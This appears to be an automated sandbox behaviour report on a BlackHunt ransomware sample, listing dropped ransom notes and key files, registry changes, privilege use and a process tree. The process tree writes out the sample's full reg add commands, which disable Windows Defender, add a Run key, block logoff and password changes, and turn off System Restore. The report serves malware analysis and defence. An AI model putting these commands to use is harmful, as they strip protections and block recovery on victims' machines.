6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jvisualvm.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\vlc.mo 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\unicode.md 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#BlackHunt_ReadMe.hta 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_ReadMe.hta 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\7-Zip\descript.ion 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\7-Zip\Lang\an.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\plugins\stream_extractor\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\Google\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.hta 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_ReadMe.hta 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\7-Zip\Lang\cs.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jopt-simple.md 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected] 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkNoDrop32x32.gif 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\Java\jdk-1.8\include\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\content-types.properties 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\cacerts 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\hi\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\7-Zip\Lang\mn.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\jcup.md 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jre-1.8\release 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\dotnet\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1300 schtasks.exe - Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 940 vssadmin.exe 1620 vssadmin.exe 5680 vssadmin.exe 3796 vssadmin.exe 3696 vssadmin.exe 2240 vssadmin.exe - Kills process with taskkill 1 IoCs
pid Process 1944 taskkill.exe - Modifies registry class 9 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000_Classes\Local Settings cmd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 636 PING.EXE - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe - Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe Token: SeRestorePrivilege 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe Token: SeBackupPrivilege 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe Token: SeTakeOwnershipPrivilege 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe Token: SeAuditPrivilege 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe Token: SeSecurityPrivilege 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe Token: SeIncBasePriorityPrivilege 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe Token: SeBackupPrivilege 3728 vssvc.exe Token: SeRestorePrivilege 3728 vssvc.exe Token: SeAuditPrivilege 3728 vssvc.exe Token: SeBackupPrivilege 2684 wbengine.exe Token: SeRestorePrivilege 2684 wbengine.exe Token: SeSecurityPrivilege 2684 wbengine.exe Token: SeSecurityPrivilege 4568 wevtutil.exe Token: SeBackupPrivilege 4568 wevtutil.exe Token: SeSecurityPrivilege 5912 wevtutil.exe Token: SeBackupPrivilege 5912 wevtutil.exe Token: SeSecurityPrivilege 4972 wevtutil.exe Token: SeBackupPrivilege 4972 wevtutil.exe Token: SeSecurityPrivilege 3232 wevtutil.exe Token: SeBackupPrivilege 3232 wevtutil.exe Token: SeSecurityPrivilege 5188 wevtutil.exe Token: SeBackupPrivilege 5188 wevtutil.exe Token: SeDebugPrivilege 1944 taskkill.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4572 wrote to memory of 3332 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 90 PID 4572 wrote to memory of 3332 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 90 PID 4572 wrote to memory of 3912 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 92 PID 4572 wrote to memory of 3912 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 92 PID 4572 wrote to memory of 404 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 94 PID 4572 wrote to memory of 404 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 94 PID 4572 wrote to memory of 1944 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 96 PID 4572 wrote to memory of 1944 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 96 PID 4572 wrote to memory of 2692 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 98 PID 4572 wrote to memory of 2692 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 98 PID 3912 wrote to memory of 4776 3912 reg.exe 102 PID 3912 wrote to memory of 4776 3912 reg.exe 102 PID 1944 wrote to memory of 4912 1944 cmd.exe 101 PID 1944 wrote to memory of 4912 1944 cmd.exe 101 PID 2692 wrote to memory of 2368 2692 cmd.exe 105 PID 2692 wrote to memory of 2368 2692 cmd.exe 105 PID 404 wrote to memory of 1080 404 cmd.exe 103 PID 404 wrote to memory of 1080 404 cmd.exe 103 PID 3332 wrote to memory of 5056 3332 Process not Found 100 PID 3332 wrote to memory of 5056 3332 Process not Found 100 PID 4572 wrote to memory of 5020 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 104 PID 4572 wrote to memory of 5020 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 104 PID 4572 wrote to memory of 1740 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 109 PID 4572 wrote to memory of 1740 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 109 PID 4572 wrote to memory of 1524 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 108 PID 4572 wrote to memory of 1524 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 108 PID 4572 wrote to memory of 4064 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 111 PID 4572 wrote to memory of 4064 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 111 PID 4572 wrote to memory of 3464 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 112 PID 4572 wrote to memory of 3464 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 112 PID 4572 wrote to memory of 4592 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 114 PID 4572 wrote to memory of 4592 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 114 PID 4572 wrote to memory of 1680 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 117 PID 4572 wrote to memory of 1680 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 117 PID 4572 wrote to memory of 4032 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 119 PID 4572 wrote to memory of 4032 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 119 PID 1740 wrote to memory of 1772 1740 cmd.exe 120 PID 1740 wrote to memory of 1772 1740 cmd.exe 120 PID 4572 wrote to memory of 3404 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 121 PID 4572 wrote to memory of 3404 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 121 PID 4572 wrote to memory of 2104 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 123 PID 4572 wrote to memory of 2104 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 123 PID 4572 wrote to memory of 5052 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 125 PID 4572 wrote to memory of 5052 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 125 PID 4572 wrote to memory of 2152 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 128 PID 4572 wrote to memory of 2152 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 128 PID 4064 wrote to memory of 4888 4064 cmd.exe 129 PID 4064 wrote to memory of 4888 4064 cmd.exe 129 PID 4572 wrote to memory of 1572 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 133 PID 4572 wrote to memory of 1572 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 133 PID 4572 wrote to memory of 5060 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 132 PID 4572 wrote to memory of 5060 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 132 PID 4032 wrote to memory of 1820 4032 cmd.exe 136 PID 4032 wrote to memory of 1820 4032 cmd.exe 136 PID 4572 wrote to memory of 2532 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 135 PID 4572 wrote to memory of 2532 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 135 PID 5020 wrote to memory of 4396 5020 cmd.exe 188 PID 5020 wrote to memory of 4396 5020 cmd.exe 188 PID 1524 wrote to memory of 3844 1524 cmd.exe 138 PID 1524 wrote to memory of 3844 1524 cmd.exe 138 PID 4572 wrote to memory of 3972 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 216 PID 4572 wrote to memory of 3972 4572 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe 216 PID 1680 wrote to memory of 3800 1680 cmd.exe 142 PID 1680 wrote to memory of 3800 1680 cmd.exe 142 - System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe"C:\Users\Admin\AppData\Local\Temp\6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4572 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:3332
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:5056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:3912
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4776
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:1080
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2368
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:4396
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:3844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4064 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:4888
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:3464
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:4592
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:3580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1680 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:3800
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4032 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1820
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:3404
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2936
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2104
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2528
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:5052
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:4720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2152
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1464
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:5060
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:3696
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1572
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2532
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:564
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:3972
